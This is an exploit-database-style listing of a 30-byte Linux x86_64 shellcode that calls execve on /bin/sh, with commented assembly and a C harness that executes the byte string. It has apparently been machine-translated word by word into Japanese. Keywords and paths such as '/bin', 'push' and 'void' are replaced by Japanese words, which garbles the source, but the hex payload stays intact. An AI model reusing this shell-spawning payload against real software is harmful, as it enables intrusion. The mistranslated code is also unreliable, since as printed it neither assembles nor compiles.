このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
# Linux/x86_64 execve("/貯蔵所/sh"); 30 bytes shellcode # Date: 2010-04-26 # Author: zbt # 実験(する)d on: x86_64 Debian GNU/Linux /* ; execve("/貯蔵所/sh", ["/貯蔵所/sh"], NULL) section .text 全世界の _start _start: xor rdx, rdx mov qword rbx, '//貯蔵所/sh' shr rbx, 0x8 押し進める rbx mov rdi, rsp 押し進める rax 押し進める rdi mov rsi, rsp mov al, 0x3b syscall */ int main(無効の) { char shellcode[] = "\x48\x31\xd2" // xor %rdx, %rdx "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx "\x48\xc1\xeb\x08" // shr $0x8, %rbx "\x53" // 押し進める %rbx "\x48\x89\xe7" // mov %rsp, %rdi "\x50" // 押し進める %rax "\x57" // 押し進める %rdi "\x48\x89\xe6" // mov %rsp, %rsi "\xb0\x3b" // mov $0x3b, %al "\x0f\x05"; // syscall (*(無効の (*)()) shellcode)(); return 0; }